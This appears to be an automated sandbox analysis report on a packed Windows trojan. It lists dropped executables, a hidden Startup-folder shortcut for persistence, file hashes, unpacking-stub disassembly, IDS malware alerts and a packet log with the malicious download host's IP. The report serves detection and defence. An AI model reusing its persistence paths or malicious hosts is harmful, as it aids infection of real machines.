Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ueLS-LvpAf68gaIkO8ww1w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\~$SiyGYB3T.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DFC01F58D8FD95D76B.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Download File

Process:	C:\Windows\wic.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sat Nov 2 13:16:07 2024, mtime=Sat Nov 2 13:16:13 2024, atime=Sat Nov 2 12:00:35 2024, length=295424, window=hide
Category:	dropped
Size (bytes):	795
Entropy (8bit):	4.780602957967742
Encrypted:	false
SSDEEP:	24:8+52kaszxaOA9+WZ2+J2bMQdpOpGhmxG:8g2hsFaVjYMEXdpu0Q
MD5:	64C03FC25A3910E81DD3546B9F3AD9DC
SHA1:	91FAB936A1C333B2E8CE2E5F265AD70B391CC837
SHA-256:	8C510C1B0BF0150FDA99F7ECCA9D82D7671C9839CC719226B5F06E95BCF814AF
SHA-512:	205431CEC31F540C50D0694FAF917F0FCA845A9FAA1552BA80495CAAC21FF35F9B917C5B19A015A01CE7A1494F2FA4E4A7BB4381C1049599266FA8E3C84AB9D3
Malicious:	false
Preview:	L..................F.... ....".1-...}..1-.....4'-...............................P.O. .:i.....+00.../C:\...................V.1.....^Yey..Windows.@......OwHbYik....8.....................-...W.i.n.d.o.w.s.....Z.2.....bY.h .cbas.exe..B......bY.rbY.r.....R........................c.b.a.s...e.x.e.......B...............-.......A............e=(.....C:\Windows\cbas.exe........\.....\.....\.W.i.n.d.o.w.s.\.c.b.a.s...e.x.e...C.:.\.W.i.n.d.o.w.s.........$..................C..B..g..(.#....`.......X.......desktop-41g4k28..P....A....r.............).J..P....A....r.............).J.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.5.7.4.2.7.7.0.1.6.-.1.5.6.3.0.8.5.8.6.1.-.2.1.0.3.6.0.1.2.2.7.-.1.0.0.0.........9...1SPS..mD..pH.H@..=x.....h....H.....K.X..K..cf................

C:\Users\user\Desktop\._cache_1.exe

Download File

Process:	C:\Program Files (x86)\1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.740813131636102
Encrypted:	false
SSDEEP:	1536:lagFhC7rPABRRelUuTBRTn+mqy8oxwRKVl3:laghCQBXeGwBgmN8HQVl
MD5:	AED710082D6986C6DCEED09D3A5EDCC6
SHA1:	02456D21CEF29BE4CB63004AEA6AA225A90FD882
SHA-256:	5CBE5888CD034B95B14F4AD7C63F84F9C9BC605558C5CC484E26C13F1978399E
SHA-512:	4BCCAB62E816E296BECD7318FF76D8FEFA1F1CD25BDFCFB092C4424F3CC37E9EDB46C90DAE78D364C4406C954EAF75A6E18B7499D51B164D1DDF0136E4F52050
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{..Y?...?...?...D...0.......=...P...4...P...=...?...<...]...4...?.......9=..:...9=..1.......>...Rich?...................PE..L....?s<..................... ...0.......@... ....@..........................@.............................................../....... ..............................................................................................................UPX0.....0..............................UPX1.........@......................@....rsrc.... ... ......................@......................................................................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

C:\Users\user\Desktop\._cache_2.exe

Download File

Process:	C:\Program Files (x86)\2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3873864
Entropy (8bit):	7.971668911555834
Encrypted:	false
SSDEEP:	98304:x6wcOBfKGSUjkO80kI//gmiklAV+vuGKiSB8zI9ShRbfVdsFWy:xiGtJkI/9JQ+vuziSXkfBdkD
MD5:	B7176450AEBB9572B34E875984456AC1
SHA1:	5D9D1824C5C235DCFC82E6E3AF48B63D70016393
SHA-256:	F78DCB1B389C99240BEFDE490F8C74D9C9487F54E1F523397AA056072003A4C2
SHA-512:	4C9ABA9B92972312C87D2B875246B22DAFCB49A0F519291FBA823CE57DD9282E25489A7CDDF7DFB432CAA921602DB6266B0E625AAE780845824F91CF48D8F85D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.w.8..[8..[8..[s..Z5..[s..Z...[...[:..[...Z,..[...Z-..[...Z...[s..Z&..[s..Z9..[s..Z?..[8..[!..[...Z...[...Z9..[...[9..[...Z9..[Rich8..[................PE..L...!S5e...............!.....h.......2............@...................................<...@..........................h..4...4h..P....P...f............:..(.......)...0..T...................@1......h...@...............l...P].......................text...<........................... ..`.rdata..............................@..@.data................d..............@....didat.......@.......r..............@....rsrc....p...P...h...t..............@..@.reloc...).......*..................@..B........................................................................................................................................................................................................................................

C:\Users\user\Documents\HTAGVDFUIE.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\~$HTAGVDFUIE.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:KVC+cAmltV:KVC+cR
MD5:	9C7132B2A8CABF27097749F4D8447635
SHA1:	71D7F78718A7AFC3EAB22ED395321F6CBE2F9899
SHA-256:	7029AE5479F0CD98D892F570A22B2AE8302747DCFF3465B2DE64D974AE815A83
SHA-512:	333AC8A4987CC7DF5981AE81238A77D123996DB2C4C97053E8BD2048A64FDCF33E1245DEE6839358161F6B5EEA6BFD8D2358BC4A9188D786295C22F79E2D635E
Malicious:	false
Preview:	.user ..j.o.n.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.626509498726225
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IMr:ansJ39LyjbJkQFMhmC+6GD9H
MD5:	00367A9FAA8069389A97267D772563E8
SHA1:	1C5301544B6B3FC11B71B6A2EBBD1D40F193619E
SHA-256:	2B451F3AE3ABEE380824404CDF795090102D57D7D369D861EC3BDA35528F2DF0
SHA-512:	D31767C02686D40BC60BC7439D9708EC6D67A904AF12A150650174BFCC0C432E3C5A3DCA87710EB06E2FE97903805B7C01949274F9C9DE3EA05187F4DF457EB5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\cbas.exe

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295424
Entropy (8bit):	6.538320460768025
Encrypted:	false
SSDEEP:	6144:f+VQ8IwL+ws3cGW4sUwbSQ5LXqAKMQ0LAObegN:f+VDrrGW4sUwbSQpQ0LFey
MD5:	9FD7C0ACC95C7F1311BDE279D0B6A03A
SHA1:	D4F4669166DA05A147EFC8CCC0EEE9AFCA11E31C
SHA-256:	C79ED70E47990280B90BDC01049AF041B331E1559CFC34D3721B5AAB3E0A75D1
SHA-512:	CD8F0FB24B6E390249049507684C4C84D57A4C4BE9C5260C41A64C7B875D71FCE925582286A9D409D97797B33C2643F87EEA264505CB2103D20EAD6C82657B6A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.b.............z.......z......z.......[.......z..............[...I...[...(........................Rich....................PE..L...s"&g.....................v......,:.......0....@.......................................@.................................xG..<...............................L......p...........................0...@............0...............................text............................... ..`.rdata.."...0...$..................@..@.data...@ ...`.......@..............@....rsrc................R..............@..@.reloc..L*.......,...V..............@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\msslac.dll

Download File

Process:	C:\Windows\wic.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	208896
Entropy (8bit):	6.070094852016993
Encrypted:	false
SSDEEP:	3072:gPTXczuCIcS5TqD4ejPXptBacZEvDkFOS94NtP6p6TQceOM:mszGT5TqEer9a6Evw26pK
MD5:	5E3BC49297F0765C486693790157273F
SHA1:	7CFD2A0465B27C7201C5F096495201D16F5771EB
SHA-256:	7420929E197D7328C047B8CB9075258367AC58935A8DA197F0A8A8C856292633
SHA-512:	6F7E2948C72398422B160D735E8D133EB95F91567820AC9C8853AA75CF2B1F9712242F538950BF969B9A0933FE659CDA0CDF2DB77B34FF22A99A875FB392D612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s.............q.....q.........g.............#.......................................Rich....................PE..L.....&g...........!......... ......B........................................p......)T...............................{..C...pg...........:................... ..x...p................................C..@....................f..@....................text...^........................... ..`.rdata...k.......p..................@..@.data...\|Z....... ..................@....rsrc....:.......@..................@..@.reloc...I... ...P..................@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\wic.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3483648
Entropy (8bit):	7.130127005924049
Encrypted:	false
SSDEEP:	98304:AC4igShR3sZxWFJhbmp2KuSKafRJFLOAkGkzdnEVomFHKnP:F4ifqEwuSKanFLOyomFHKnP
MD5:	6AD65B03E75BC5509BA3104510178EE6
SHA1:	DBA73F97938D2DAB4BF8FB8076B363DB82AD3A16
SHA-256:	4D74EB72321C5137ED364541DEEF19DDC30593FFF62ABAB2A3D17A0BAD7BD5C6
SHA-512:	976C7ABA50E17271F6AEA4AB80E7BC89E68727164D98D99566E0752B4989D716A849B0CC53F0321A53DCE6086EF4CAB1604AAE8456CE76BFEACF185137AA8BA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.3.#.].#.].#.].F.^.=.].F.Y...].F.X...].F.[. .].q.Y...].q.^.:.].q.X._.].F.\...].#.\.5.]...T. .].....".].#..".]..._.".].Rich#.].................PE..L....>&g.....................R...............0....@...........................5...........@..................................[..\|....P.......................p3..2......p...............................@............0...............................text............................... ..`.rdata...b...0...d..................@..@.data...........^..................@....rsrc........P......................@..@.reloc...2...p3..4....2.............@..B........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	5.851653303471141
TrID:	Win32 Executable (generic) a (10002005/4) 98.59% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02%
File name:	file.exe
File size:	6'656 bytes
MD5:	06303600a3a44eb2fbce248eb0fe9fc1
SHA1:	ccfb720a50808469da5d67eea306d08f51e11538
SHA256:	db69f19879e131fd35e882606148335c6dcb26cbea650d394ba519d76c57bb85
SHA512:	b135f23760aba312cb0c0cab697d2ec4f735f5cad9011d3b11310eb9cc59f65c4ffdc757e4f39bdcf6c8abb3badb6865301ffd5ed817c1251b6ecabe21f17df9
SSDEEP:	192:DfaOBqbo/qmA2LEnrtDINynT+vCgcJXB:OOY8tLqltJXB
TLSH:	C1D15B4AFB61AC33E215893165AFD6732645F460423E0B8B7AF42F473C62611BF06E32
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i...d...i.Rich..i.................PE..L.....U].........................P.. j...`...p....@........................

File Icon


Icon Hash:	061606063b074e20

Static PE Info

General

Entrypoint:	0x406a20
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x5D55F49F [Fri Aug 16 00:11:11 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	be19e18d6a8b41631d40059031a928bb

Entrypoint Preview

Instruction
pushad
mov esi, 00406000h
lea edi, dword ptr [esi-00005000h]
push edi
or ebp, FFFFFFFFh
jmp 00007F3668AD3592h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F3668AD3589h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F3668AD356Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F3668AD3589h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F3668AD3571h
jne 00007F3668AD358Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F3668AD3566h
xor ecx, ecx
sub eax, 03h
jc 00007F3668AD358Fh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F3668AD35F6h
mov ebp, eax
add ebx, ebx
jne 00007F3668AD3589h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F3668AD3589h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F3668AD35A2h
inc ecx
add ebx, ebx
jne 00007F3668AD3589h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F3668AD3571h
jne 00007F3668AD358Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F3668AD3566h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F3668AD3591h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F3668AD3579h
jmp 00007F3668AD34E8h
nop
mov eax, dword ptr [edx]
add edx, 04h
mov dword ptr [edi], eax
add edi, 04h
sub ecx, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x78d0	0xd4	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0x8d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x5000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x6000	0x1000	0xc00	0a0e4af6bf1b82abadde6acd6f70f4f8	False	0.947265625	data	7.544656426324873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7000	0x1000	0xa00	992fe5323d933253ef0f2962583f7f0e	False	0.53515625	data	4.250073082882718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
SETTINGS	0x4148	0x1de	empty			0
RT_ICON	0x714c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.6213872832369942
RT_GROUP_ICON	0x76b8	0x14	data			1.1
RT_VERSION	0x76d0	0x200	Intel ia64 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970	English	United States	0.513671875

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
MSVBVM60.DLL

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T20:34:49.438746+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:49.438746+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:49.438746+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:50.154331+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	47.254.187.72	80	192.168.2.4	49730	TCP
2025-01-02T20:34:50.703531+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:50.703531+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:50.703531+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:54.702088+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:54.702088+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:54.702088+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:55.222987+0100	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:55.222987+0100	2021245	ET MALWARE Possible Dridex Download URI Struct with no referer	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:55.222987+0100	2022550	ET MALWARE Possible Malicious Macro DL EXE Feb 2016	1	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:56.526033+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49730	47.254.187.72	80	TCP
2025-01-02T20:34:59.703337+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.4	49738	69.42.215.252	80	TCP
2025-01-02T20:35:00.259871+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	47.254.187.72	80	TCP
2025-01-02T20:35:01.530652+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	47.254.187.72	80	TCP
2025-01-02T20:35:02.093483+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	47.254.187.72	80	TCP
2025-01-02T20:35:58.898119+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.4	49845	142.250.186.142	443	TCP
2025-01-02T20:36:02.093228+0100	2800781	ETPRO EXPLOIT Microsoft Windows Shell Buffer Overflow	1	47.254.187.72	80	192.168.2.4	49740	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:34:48.610282898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:48.615088940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:48.615190983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:48.615381002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:48.620106936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.438334942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.438352108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.438363075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.438374043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.438745975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.439729929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.439739943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.439794064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.439857960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.439868927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.439881086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.439901114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.439937115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.444519997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.444586992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.444614887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.444628000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.444639921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.444653988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.444674969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.444689989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.449558973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.449574947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.449642897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.525232077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.525250912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.525278091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.525289059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.525327921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.525381088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.529958010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.529982090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.529994011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.530004978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.530014992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.530023098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.530092955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:49.534658909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.534677982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.534688950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.534699917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:49.534707069 CET	49730	80	192.168.2.4	47.254.187.72
